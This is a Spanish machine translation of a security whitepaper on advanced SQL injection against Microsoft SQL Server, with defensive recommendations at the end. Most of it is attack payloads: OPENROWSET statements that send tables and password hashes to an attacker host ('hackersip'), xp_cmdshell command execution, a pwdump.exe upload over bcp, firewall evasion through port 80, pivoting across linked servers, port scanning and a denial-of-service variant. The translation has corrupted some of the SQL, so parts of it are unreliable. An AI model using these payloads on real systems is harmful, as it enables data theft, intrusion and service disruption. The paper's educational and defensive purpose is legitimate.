Manipular Microsoft SQL Server mediante

inyección de código SQL

Introducción
Este documento no cubrirá la sintaxis SQL básica ni la inyección sql. Se supone
que el lector ya tiene una fuerte comprensión de estos temas. Este documento se
centrará en técnicas avanzadas que se pueden utilizar en un ataque a una aplicación
(web) que utiliza Microsoft SQL Server como back-end.

Estas técnicas demuestran cómo un atacante podría usar una vulnerabilidad de

inyección de código SQL para recuperar el contenido de la base de datos desde
detrás de un firewall y penetrar en la red interna. Este documento está destinado a
educar a los profesionales de la seguridad de los posibles efectos devastadores que
la inyección SQL podría tener en una organización.

Las aplicaciones web son cada vez más seguras debido a la creciente conciencia de
ataques como la inyección sql. Sin embargo, en aplicaciones grandes y complejas,
un solo descuido puede resultar en el compromiso de todo el sistema. En concreto,
muchos desarrolladores y administradores de aplicaciones (web) pueden tener una
falsa sensación de seguridad porque utilizan procedimientos almacenados o
enmascaran un mensaje de error devuelto al explorador. Esto puede llevarlos a
creer que no pueden verse comprometidos por esta vulnerabilidad.
 
Mientras tratamos Microsoft SQL Server en este documento, esto no es indicativo
de modo que Microsoft SQL Server sea menos seguro que otras plataformas de
bases de datos como Oracle o IBM DB2. La inyección sql no es un defecto de
Microsoft SQL Server – también es un problema para todos los demás proveedores
de bases de datos, así. Quizás el mayor problema con Microsoft SQL Server es la
flexibilidad del sistema. Esta flexibilidad es lo que permite que sea subvertido hasta
ahora por inyección SQL. Este documento está destinado a mostrar que cada vez
que un administrador o desarrollador permite que se ejecute SQL arbitrario, su
sistema está abierto a ser rooteado. No está destinado a mostrar que Microsoft SQL
Server es inherentemente defectuoso.

Detección de vulnerabilidades de inyección sql

Muchos desarrolladores y administradores web se muestran complacientes con las
vulnerabilidades de inyección de código SQL si el atacante no puede ver los
mensajes de error de SQL o no puede devolver el resultado de las consultas
directamente al explorador. Este tema se abordó por primera vez en un documento
técnico escrito por Chris Ansley de NGSSoftware (www.nextgenss.com
/papers/more_advanced_sql_injection.pdf). Este documento ampliará las posibles
formas en que se puede utilizar esta amenaza.

Al intentar aprovechar la inyección de código SQL en una aplicación, un atacante

necesita un método para determinar si el SQL insertado se ejecuta en el servidor.
Además, se necesita un método para recuperar los resultados. Dos funciones
integradas de SQL Server se pueden utilizar para este propósito. Las funciones
OPENROWSET y OPENDATASOURCE permiten a un usuario de SQL Server
abrir orígenes de datos remotos.

Estas funciones se utilizan para abrir una conexión a un proveedor OLEDB. La

función OPENROWSET se utilizará en todos los ejemplos, pero la función
OPENDATASOURCE podría utilizarse con los mismos resultados.

Esta instrucción devolverá todas las filas de table1 en el origen de datos remoto:

select *
fromOPENROWSET( 'SQLoledb','server=servername;uid=sa;pwd=h8ck3r','select
* from table1' )

Parámetros:

1. Nombre del proveedor OLEDB

2. Cadena de conexión (podría ser un origen de datos OLEDB o una cadena
de conexión ODBC)
3. Instrucción SQL

El parámetro de cadena de conexión puede especificar otras opciones, como la

biblioteca de red que se va a usar o la dirección IP y el puerto a los que se va a
conectar. A continuación se muestra un ejemplo.

select * fromOPENROWSET('SQLoledb','uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Dirección =10.0.0.10,1433;','seleccionar * de la tabla' )

En este ejemplo, SQL Server utilizará el proveedor OLEDB SQLoledb para

ejecutar la instrucción SQL. El proveedor OLEDB utilizará la biblioteca de sockets
de SQL Server (DBMSSOCN) para conectarse al puerto 1433 en la dirección IP
10.0.0.10 y devolverá los resultados de la instrucción SQL al servidor SQL local. El
inicio de sesión sa y la contraseña h8ck3r se utilizarán para autenticarse en el origen
de datos remoto.

En el ejemplo siguiente se muestra cómo se puede utilizar la función

OPENROWSET para conectarse a una dirección o puerto IP arbitrario, incluida la
dirección IP de origen y el puerto del atacante. En este caso, el nombre de host del
hacker es hackersip y una versión de Microsoft SQL Server se está ejecutando en el
puerto 80. "hackersip" se puede reemplazar con una dirección IP y el puerto puede
ser cualquier puerto al que el hacker le gustaría dirigir las conexiones.

select * fromOPENROWSET('SQLoledb','uid=sa;pwd=; Red = DBMSSOCN;

Dirección=hackersip,80;','seleccionar * de la tabla')
Al insertar esta instrucción SQL, un atacante puede determinar si se está ejecutando
la instrucción. Si el SQL se ejecuta correctamente, el servidor atacado emitirá un
intento de conexión saliente al equipo del atacante en el puerto especificado.
También es poco probable que el firewall bloquee esta conexión SQL saliente
porque la conexión se produce a través del puerto 80.

Esta técnica permite al atacante determinar si las instrucciones SQL inyectadas se

ejecutan incluso si los mensajes de error y los resultados de la consulta no se
devuelven al explorador.

Recuperar resultados de la inyección sql:

Las funciones OPENROWSET y OPENDATASOURCE se utilizan con mayor
frecuencia para extraer datos en SQL Server para manipularlos. Sin embargo,
también se pueden utilizar para insertar datos en un servidor SQL Server remoto.
OPENROWSET se puede utilizar no solo para ejecutar instrucciones SELECT,
sino también para ejecutar instrucciones UPDATE, INSERT y DELETE en
orígenes de datos externos. Realizar la manipulación de datos en orígenes de datos
remotos es menos común y sólo funciona si el proveedor OLEDB admite esta
funcionalidad. El proveedor SQLOLEDB admite todas estas instrucciones.

A continuación se muestra un ejemplo de inserción de datos en un origen de datos

externo:

insert
intoOPENROWSET('SQLoledb','server=servername;uid=sa;pwd=h8ck3r','select *
from table1')select * from table2

En el ejemplo anterior, todas las filas de table2 en el servidor SQL Server local se
anexarán a table1 en el origen de datos remoto. Para que la instrucción se ejecute
correctamente, las dos tablas deben tener la misma estructura.

Como aprendimos en la sección anterior, las fuentes de datos remotas se pueden

redirigir a cualquier servidor de la elección del atacante. Un atacante podría
cambiar la instrucción anterior para conectarse a un origen de datos remoto, como
una copia de Microsoft SQL Server que se ejecuta en el equipo del atacante.

insert intoOPENROWSET('SQLoledb','uid=sa;pwd=h8ck3r;    Red =

DBMSSOCN; Dirección=hackersip,1433;','select * de la tabla1')select * de la
tabla2
Para insertar en table1 correctamente, el atacante debe crear table1 con las mismas
columnas y tipos de datos que table2. Esta información se puede determinar
realizando primero este ataque contra las tablas del sistema. Esto funciona porque
la estructura de las tablas del sistema es bien conocida. Un atacante comenzaría
creando una tabla con nombres de columna y tipos de datos similares a las tablas
del sistema sysdatabases, sysobjects y syscolumns. A continuación, para recuperar
la información necesaria, se ejecutarían las siguientes instrucciones:

insertar enOPENROWSET('SQLoledb','uid=sa;pwd=hack3r; Red =

DBMSSOCN;    Address=hackersip,1433;','select * from _sysdatabases')select *
from master.dbo.sysdatabasesinsert
intoOPENROWSET('SQLoledb','uid=sa;pwd=hack3r; Red = DBMSSOCN;   
Address=hackersip,1433;','select * from _sysobjects')select * from
user_database.dbo.sysobjectsinsert
intoOPENROWSET('SQLoledb','uid=sa;pwd=h8ck3r; Red = DBMSSOCN;   
Address=hackersip,1433;','select * from _syscolumns')select * from
user_database.dbo.syscolumns

Después de volver a crear las tablas en la base de datos, cargar los datos restantes
de SQL Server es trivial.

insertar en OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Address=hackersip,1433;', 'select * from table1') select * from
database.. tabla1 insertar en OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;
Red = DBMSSOCN;    Address=hackersip,1433;', 'select * from table2') select *
from database.. tabla2

Con este método, un atacante puede recuperar el contenido de una tabla incluso si
la aplicación está diseñada para ocultar mensajes de error o resultados de consulta
no válidos.

Dados los privilegios adecuados, el atacante también podría cargar la lista de

inicios de sesión y hashes de contraseña:

insert intoOPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Address=hackersip,1433;', 'select * from _sysxlogins') select *
from database.dbo.sysxlogins

La adquisición de los hashes de contraseña permitiría a los ataques realizar una

fuerza bruta en las contraseñas.

El atacante también puede ejecutar comandos en el servidor atacado y obtener los

resultados:

insertar en OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Address=hackersip,1433;', 'select * from temp_table') exec
master.dbo.xp_cmdshell 'dir'
Si el firewall está configurado para bloquear todas las conexiones salientes de SQL
Server, el atacante puede utilizar una de varias técnicas para eludir el firewall. El
atacante podría establecer la dirección para insertar datos mediante el puerto 80, por
lo que parece ser una conexión HTTP. A continuación se muestra un ejemplo de
esta técnica.

insertar en OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Address=hackersip,80;', 'select * from table1') select * from table1

Si las conexiones salientes a través del puerto 80 se bloquean en el firewall, el

atacante podría probar números de puerto diferentes hasta que se encontrara uno
desbloqueado.

Elevación de privilegios
A menudo, un administrador seguirá las prácticas recomendadas de seguridad y
configurará la aplicación para que use un inicio de sesión sin privilegios. Una vez
encontrada una vulnerabilidad con el inicio de sesión sin privilegios, un atacante
intentará elevar los privilegios para obtener privilegios de administrador completo.
Un atacante podría aprovechar vulnerabilidades conocidas y desconocidas para
hacerlo. Dado el número de vulnerabilidades recientes detectadas en SQL Server, si
un atacante puede ejecutar consultas arbitrarias, es relativamente fácil elevar los
privilegios.

Los avisos publicados se pueden ver en:

www.appsecinc.com /cgi-bin/show_policy_list.pl? app_type=

1&category=3www.appsecinc.com /resources/alerts/mssql
.

Carga de archivos:
Una vez que un atacante ha obtenido los privilegios adecuados en SQL Server,
deseará cargar "archivos binarios" en el servidor. Dado que esto no se puede hacer
utilizando protocolos como SMB, ya que el puerto 137-139 normalmente se
bloquea en el firewall, el atacante necesitará otro método para obtener los archivos
binarios en el sistema de archivos de la víctima. Esto se puede hacer cargando un
archivo binario en una tabla local para el atacante y, a continuación, extraiendo los
datos en el sistema de archivos de la víctima mediante una conexión de SQL
Server.

Para ello, el atacante crearía una tabla en el servidor local de la siguiente manera.
crear tabla AttackerTable (texto de datos)

Una vez creada la tabla para contener el binario, el atacante cargaría el binario en la
tabla de la siguiente manera:

inserción masiva AttackerTable desde 'pwdump.exe' con (codepage='RAW')

A continuación, el binario se puede descargar en el servidor de la víctima desde el

servidor del atacante ejecutando la siguiente instrucción SQL en el servidor de la
víctima:

exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -

Craw -Shackersip - -Ph8ck3r'Usa

Esta instrucción emitirá una conexión saliente al servidor del atacante y escribirá
los resultados de la consulta en un archivo que vuelva a crear el archivo ejecutable.
En este caso, la conexión se realizará utilizando el protocolo y el puerto
predeterminados que probablemente podrían ser bloqueados por el firewall. Para
eludir el firewall, el atacante podría intentar:

exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\

MSSQLServer\Client\ConnectTo', 'HackerSrvAlias', 'REG_SZ',
'DBMSSOCN,hackersip,80'

Y entonces:

exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -

Craw -SHackerSrvAlias - -Ph8ck3r'Usa

La primera instrucción SQL configurará una conexión con el servidor del hacker a
través del puerto 80, mientras que la segunda instrucción SQL se conectará al
servidor del hacker utilizando el puerto 80 y descargará el archivo binario.

Otro método que un hacker podría utilizar sería escribir visual Basic Script (.vbs) o
archivos Java Script (.js) en el sistema de archivos del sistema operativo y, a
continuación, ejecutar esos scripts. Con esta técnica, los scripts se conectarían a
cualquier servidor y descargarían los archivos binarios del atacante o incluso
copiarían el script y lo ejecutarían en el servidor víctima.

exec xp_cmdshell '"primera línea de secuencia de comandos" > script.vbs' exec

xp_cmdshell '"segunda línea de secuencia de comandos" > script.vbs' ... exec
xp_cmdshell '"Última línea de secuencia de comandos" > script.vbs' Exec
xp_cmdshell 'Script.vbs' --> Ejecutar secuencia de comandos para descargar binario

Entrar en la red interna

Los servidores vinculados y remotos de Microsoft SQL Server permiten que un
servidor se comunique de forma transparente con un servidor de base de datos
remoto. Los servidores vinculados le permiten ejecutar consultas distribuidas e
incluso controlar servidores de bases de datos remotos. Un atacante podría usar esta
capacidad para obtener acceso a la red interna.

Un atacante comenzaría por recopilar información de la tabla del sistema

master.dbo.sysservers como se muestra aquí:

insertar en OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Address=hackersip,80;', 'select * from _sysservers') select * from
master.dbo.sysservers

Para ampliar aún más, el atacante podría consultar la información de los servidores
vinculados y remotos.

insertar en OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Address=hackersip,80;', 'select * from _sysservers') select * from
LinkedOrRemoteSrv1.master.dbo.sysservers insert into
OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red = DBMSSOCN;   
Address=hackersip,80;', 'select * from _sysdatabases') select * from
LinkedOrRemoteSrv1.master.dbo.sysdatabases ... etc.

Si los servidores vinculados y remotos no están configurados para el acceso a datos

(no están configurados para ejecutar consultas de arbitraje, solo para ejecutar
procedimientos almacenados), el atacante podría intentar:

insertar en OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Address=hackersip,80;', 'select * from _sysservers')exec
LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select *
frommaster.dbo.sysservers' insert into OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r; Red = DBMSSOCN;    Address=hackersip,80;', 'select * from
_sysdatabases') exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select *
from master.dbo.sysdatabases' ... etc.

Usando esta técnica, el atacante podría saltar de un servidor de base de datos a un

servidor de base de datos, profundizando en la red interna a través de servidores
vinculados y remotos:

insertar en OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r; Red =

DBMSSOCN;    Address=hackersip,80;', 'select * from _sysservers') exec
LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysservers''' insert into OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r; Red = DBMSSOCN;    Address=hackersip,80;', 'select * from
_sysdatabases') exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysdatabases''' ... etc.
Una vez que el atacante ha obtenido suficiente acceso a un servidor vinculado o
remoto, él o ella podría comenzar a cargar archivos en los servidores utilizando los
métodos mencionados anteriormente.

Escaneo de puertos
Con las técnicas ya descritas, un atacante podría usar una vulnerabilidad de
inyección de código SQL como un escáner rudimentario de ip/puerto de la red
interna o de Internet. Además, mediante la inyección sql, la dirección IP real del
atacante sería enmascarada.

Después de buscar una aplicación (web) con una validación de entrada débil, el
atacante podría enviar la siguiente instrucción SQL:

select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=; Red = DBMSSOCN;   

Dirección = 10.0.0.123,80;timeout = 5', 'select * from table')

Esta instrucción emitirá una conexión saliente a 10.0.0.123 a través del puerto 80.
En función del mensaje de error devuelto y el tiempo consumido, el atacante podría
determinar si el puerto está abierto o no.

Si se cierra el puerto, se consumirá el tiempo especificado en segundos en el

parámetro timeout y se mostrará el siguiente mensaje de error:

SQL Server no existe o acceso denegado.

A continuación, si el puerto está abierto, no se consumiría el tiempo (esto depende

en cierta medida de la aplicación que realmente existe en el puerto) y se devolverán
los siguientes mensajes de error:

Error general de red. Consulte la documentación de la red.

El proveedor OLE DB 'sqloledb' informó de un error. El proveedor no dio ninguna

información sobre el error.

Con esta técnica, el atacante podrá asignar puertos abiertos en las direcciones IP de
los hosts de la red interna o de Internet ocultando su dirección IP porque los
intentos de conexión los realiza SQL Server. Obviamente, esta forma de escáner de
puertos es un poco tosca, pero se usa metódicamente se puede usar para mapear
efectivamente una red.

Otro efecto secundario de esta forma de escaneo de puertos es un ataque de

denegación de servicio. Tomemos el siguiente ejemplo:

select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=; Red = DBMSSOCN;   

Dirección = 10.0.0.123,21; tiempo de espera = 600', 'seleccionar * de la tabla'
)

Este comando emitirá conexiones salientes a 10.0.0.123 a través del puerto 21

durante diez minutos realizando casi 1000 conexiones en el servicio ftp. Esto ocurre
porque SQL Server no puede conectarse a una instancia válida y continúa
intentando conectarse hasta el tiempo especificado.

Este ataque podría enviarse varias veces simultáneamente al mismo servidor,

multiplicando así el efecto.

Recomendaciones
La recomendación más fuerte es asegurarse de que no tiene ninguna vulnerabilidad
de inyección sql. Esta es la recomendación más importante porque incluso si se
abordan todas las cuestiones planteadas en este documento, seguramente surgirán
otras cuestiones. Para evitar la inyección de código SQL, se recomienda utilizar
consultas con parámetros y filtrar todos los datos proporcionados por el usuario
para caracteres no alfanuméricos.

El método más sistemático para hacerlo es establecer estándares de codificación

que requieran que esto se haga. Si el código ya está escrito, se debe realizar una
revisión del código para detectar cualquier vulnerabilidad. También se recomienda
mirar algunas de las herramientas automatizadas disponibles para detectar este tipo
de problemas.

Incluso si cree que ha cerrado todas las vulnerabilidades conocidas, sigue siendo en
su mejor interés para evitar estos ataques específicos deshabilitando algunas de las
funciones de SQL Server. Esto no es práctico si realmente está utilizando la
funcionalidad. Afortunadamente, la funcionalidad que estamos buscando
deshabilitar no se utiliza a menudo.

No debe permitir consultas ad hoc a través de OLEDB desde SQL Server. Las
consultas ad hoc de SQL Server a través de proveedores OLEDB se controlan
estableciendo el valor DisallowAdhocAccess en el Registro. Si está utilizando una
instancia con nombre (sólo Microsoft SQL Server 2000), establezca el valor
DisallowAdhocAccess en 1 bajo cada subclave de la clave del registro
HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\
(Instancename)\Providers. Si utiliza una instancia predeterminada, establezca el
valor DisallowAdhocAccess en 1 bajo cada subclave de la clave del Registro
HKEY_LOCAL_MACHINE\Software\MSSQLServer\MSSQLServer\Providers.

Siga los pasos que se indican a continuación para establecer este valor:

1. Inicie el Editor del registro (regedit.exe).

2. Busque la clave del registro enumerada anteriormente.
3. Seleccione la primera subclave del proveedor.
4. Seleccione el elemento de menú Edit\New\DWORD Value.
5. Establezca el nombre del nuevo valor DWORD en DisallowAdhocAccess.
6. Haga doble clic en el valor y estadárselo en 1.
 7. Repita el tiempo para cada proveedor.

Si es especialmente paranoico, también puede establecer las claves del registro en

sólo lectura para asegurarse de que no se pueden editar.

También es muy importante que se mantenga al día con las últimas correcciones de
seguridad y aplicarlas lo más rápido posible. Con el fin de mantenerse al día con los
agujeros de seguridad, se recomienda que se registre para las alertas de seguridad
ASI dirigidas específicamente a Microsoft SQL Server:

www.appsecinc.com /resources/mailinglist.html

Como precaución final, configure y pruebe los filtros de firewall para bloquear todo
el tráfico saliente innecesario. Esto no solo ayuda a proteger sus bases de datos,
sino que también ayuda a proteger toda la red.

conclusión
Lo que hemos demostrado en este documento es cómo se puede crecer una pequeña
cantidad de acceso para tomar el control total de varios servidores. SQL es un
lenguaje de propósito general. Ninguna persona sensata concedería nunca ningún
derecho para ejecutar C++ arbitrario o Visual Basic en cualquier servidor. Es
exactamente lo mismo con SQL.

Ninguna persona sana debería, excepto la entrada del usuario y ejecutarla. Esto
simplemente no debería suceder. Este documento muestra algunas de las muchas
razones por las que esto es cierto.

Microsoft SQL Server es una base de datos eficaz, flexible y asequible que sirve
como columna vertebral de un gran número de aplicaciones. Debido a estos hechos,
es importante que entendamos bien cómo se puede subvertir SQL Server y, lo que
es más importante, cómo evitarlo. SQL Server es una herramienta y si se usa de
forma incorrecta o negligente puede dañar no solo los datos de las bases de datos,
sino también otras aplicaciones de la red. Esto significa que tenemos que empezar a
tomarnos en serio la seguridad de Microsoft SQL Server.